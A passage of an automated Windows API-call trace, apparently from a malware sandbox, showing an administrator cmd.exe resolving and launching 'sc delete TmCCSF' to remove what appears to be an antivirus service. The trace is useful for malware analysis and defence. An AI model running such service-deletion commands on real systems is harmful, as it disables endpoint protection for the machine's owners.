MemoryPointer=0x1cc530) returned 0x62 [0068.734] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0068.734] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x128) returned 0x1c5b70 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x240) returned 0x1b1ab0 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1b1ab0, Size=0x12a) returned 0x1b1ab0 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1b1ab0) returned 0x12a [0068.734] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xe8) returned 0x1c9b30 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9b30, Size=0x7e) returned 0x1c9b30 [0068.734] GetProcessHeap () returned 0x1b0000 [0068.734] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9b30) returned 0x7e [0068.734] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.734] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.735] GetLastError () returned 0x2 [0068.735] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.735] GetLastError () returned 0x2 [0068.735] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0068.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.735] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0xffffffffffffffff [0068.735] GetLastError () returned 0x2 [0068.735] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x14eb30, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x14eb30) returned 0x1c9bc0 [0068.735] FindClose (in: hFindFile=0x1c9bc0 | out: hFindFile=0x1c9bc0) returned 1 [0068.736] GetConsoleTitleW (in: lpConsoleTitle=0x14f080, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.736] GetProcessHeap () returned 0x1b0000 [0068.736] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x21c) returned 0x1c9180 [0068.736] GetConsoleTitleW (in: lpConsoleTitle=0x1c9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0068.736] GetProcessHeap () returned 0x1b0000 [0068.736] RtlReAllocateHeap (Heap=0x1b0000, Flags=0x0, Ptr=0x1c9180, Size=0x9a) returned 0x1c9180 [0068.736] GetProcessHeap () returned 0x1b0000 [0068.736] RtlSizeHeap (HeapHandle=0x1b0000, Flags=0x0, MemoryPointer=0x1c9180) returned 0x9a [0068.736] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TmCCSF") returned 1 [0068.737] GetProcessHeap () returned 0x1b0000 [0068.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9180 | out: hHeap=0x1b0000) returned 1 [0068.737] InitializeProcThreadAttributeList (in: lpAttributeList=0x14ee38, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x14edf8 | out: lpAttributeList=0x14ee38, lpSize=0x14edf8) returned 1 [0068.737] UpdateProcThreadAttribute (in: lpAttributeList=0x14ee38, dwFlags=0x0, Attribute=0x60001, lpValue=0x14ede8, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x14ee38, lpPreviousValue=0x0) returned 1 [0068.737] GetStartupInfoW (in: lpStartupInfo=0x14ef50 | out: lpStartupInfo=0x14ef50*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0068.737] GetProcessHeap () returned 0x1b0000 [0068.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x20) returned 0x1c4610 [0068.737] GetProcessHeap () returned 0x1b0000 [0068.737] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c4610 | out: hHeap=0x1b0000) returned 1 [0068.737] GetProcessHeap () returned 0x1b0000 [0068.737] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0x12) returned 0x1c89d0 [0068.737] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TmCCSF", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x14ee70*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TmCCSF", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x14ee20 | out: lpCommandLine="sc delete TmCCSF", lpProcessInformation=0x14ee20*(hProcess=0x50, hThread=0x54, dwProcessId=0x868, dwThreadId=0xab8)) returned 1 [0068.741] CloseHandle (hObject=0x54) returned 1 [0068.741] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0068.741] GetProcessHeap () returned 0x1b0000 [0068.741] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.741] GetEnvironmentStringsW () returned 0x1cba10* [0068.741] GetProcessHeap () returned 0x1b0000 [0068.741] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.741] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.741] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x14e728, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x14e728, ReturnLength=0x0) returned 0x0 [0068.741] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffdc000, lpBuffer=0x14e760, nSize=0x380, lpNumberOfBytesRead=0x14e720 | out: lpBuffer=0x14e760*, lpNumberOfBytesRead=0x14e720*=0x380) returned 1 [0068.742] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0068.793] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x14ed68 | out: lpExitCode=0x14ed68*=0x424) returned 1 [0068.793] CloseHandle (hObject=0x50) returned 1 [0068.793] _vsnwprintf (in: _Buffer=0x14efd8, _BufferCount=0x13, _Format="%08X", _ArgList=0x14ed78 | out: _Buffer="00000424") returned 8 [0068.793] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0068.793] GetProcessHeap () returned 0x1b0000 [0068.793] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d1b10 | out: hHeap=0x1b0000) returned 1 [0068.793] GetEnvironmentStringsW () returned 0x1d1b10* [0068.794] GetProcessHeap () returned 0x1b0000 [0068.794] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1cba10 [0068.794] FreeEnvironmentStringsW (penv=0x1d1b10) returned 1 [0068.794] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0068.794] GetProcessHeap () returned 0x1b0000 [0068.794] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cba10 | out: hHeap=0x1b0000) returned 1 [0068.794] GetEnvironmentStringsW () returned 0x1cba10* [0068.794] GetProcessHeap () returned 0x1b0000 [0068.794] RtlAllocateHeap (HeapHandle=0x1b0000, Flags=0x8, Size=0xb0e) returned 0x1d1b10 [0068.794] FreeEnvironmentStringsW (penv=0x1cba10) returned 1 [0068.794] GetProcessHeap () returned 0x1b0000 [0068.794] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89d0 | out: hHeap=0x1b0000) returned 1 [0068.794] DeleteProcThreadAttributeList (in: lpAttributeList=0x14ee38 | out: lpAttributeList=0x14ee38) [0068.794] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0068.795] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.795] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0068.795] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.795] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a82e194 | out: lpMode=0x4a82e194) returned 0 [0068.795] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.795] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a82e198 | out: lpMode=0x4a82e198) returned 0 [0068.795] GetConsoleOutputCP () returned 0x1b5 [0068.795] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a83bfe0 | out: lpCPInfo=0x4a83bfe0) returned 1 [0068.795] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9b30 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1b1ab0 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c5b70 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1cc530 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6550 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c9910 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c6510 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1c89b0 | out: hHeap=0x1b0000) returned 1 [0068.796] GetProcessHeap () returned 0x1b0000 [0068.796] HeapFree (in: hHeap=0x1b0000, dwFlags=0x0, lpMem=0x1d4660 | out: hHeap=0x1b0000) returned 1 [0068.796] _vsnwprintf (in: _Buffer=0x4a846340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x14f298 | out: _Buffer="\r\n") returned 2 [0068.796] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.796] GetFileType (hFile=0x120) returned 0x3 [0068.796] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.796] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0068.796] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x14f268, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f268*=0x2, lpOverlapped=0x0) returned 1 [0068.797] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a82f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0068.797] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a83c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0068.797] _vsnwprintf (in: _Buffer=0x4a82eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x14f2a8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0068.797] _vsnwprintf (in: _Buffer=0x4a82ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x14f2a8 | out: _Buffer=">") returned 1 [0068.797] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.797] GetFileType (hFile=0x120) returned 0x3 [0068.797] _get_osfhandle (_FileHandle=1) returned 0x120 [0068.797] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a83c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0068.797] WriteFile (in: hFile=0x120, lpBuffer=0x4a83c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x14f298, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesWritten=0x14f298*=0x26, lpOverlapped=0x0) returned 1 [0068.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.797] GetFileType (hFile=0xb8) returned 0x3 [0068.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e320, cchWideChar=1 | out: lpWideCharStr="sc delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.797] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.797] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.797] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.797] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e322, cchWideChar=1 | out: lpWideCharStr="c delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.798] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e324, cchWideChar=1 | out: lpWideCharStr=" delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.798] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e326, cchWideChar=1 | out: lpWideCharStr="delete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.798] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e328, cchWideChar=1 | out: lpWideCharStr="elete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.798] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32a, cchWideChar=1 | out: lpWideCharStr="lete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.798] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.798] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32c, cchWideChar=1 | out: lpWideCharStr="ete TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.798] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.798] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e32e, cchWideChar=1 | out: lpWideCharStr="te TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e330, cchWideChar=1 | out: lpWideCharStr="e TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e332, cchWideChar=1 | out: lpWideCharStr=" TmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e334, cchWideChar=1 | out: lpWideCharStr="tmCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.799] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e336, cchWideChar=1 | out: lpWideCharStr="mCCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.799] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.799] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.799] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e338, cchWideChar=1 | out: lpWideCharStr="lCSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.800] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.800] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.800] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33a, cchWideChar=1 | out: lpWideCharStr="iSF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.800] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.800] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.800] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33c, cchWideChar=1 | out: lpWideCharStr="sF\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.800] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.800] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.800] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e33e, cchWideChar=1 | out: lpWideCharStr="t\n\nanService\ne\n\n\nA\"\n") returned 1 [0068.800] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.800] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0068.800] ReadFile (in: hFile=0xb8, lpBuffer=0x4a83c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x14f598, lpOverlapped=0x0 | out: lpBuffer=0x4a83c320*, lpNumberOfBytesRead=0x14f598*=0x1, lpOverlapped=0x0) returned 1 [0068.800] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a83c320, cbMultiByte=1, lpWideCharStr=0x4a83e340, cchWideChar=1 | out: lpWideCharStr="e\nanService\ne\n\n\nA\"\n") returned 1 [0068.800] _get_osfhandle (_FileHandle=0) returned 0xb8 [0068.800] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, 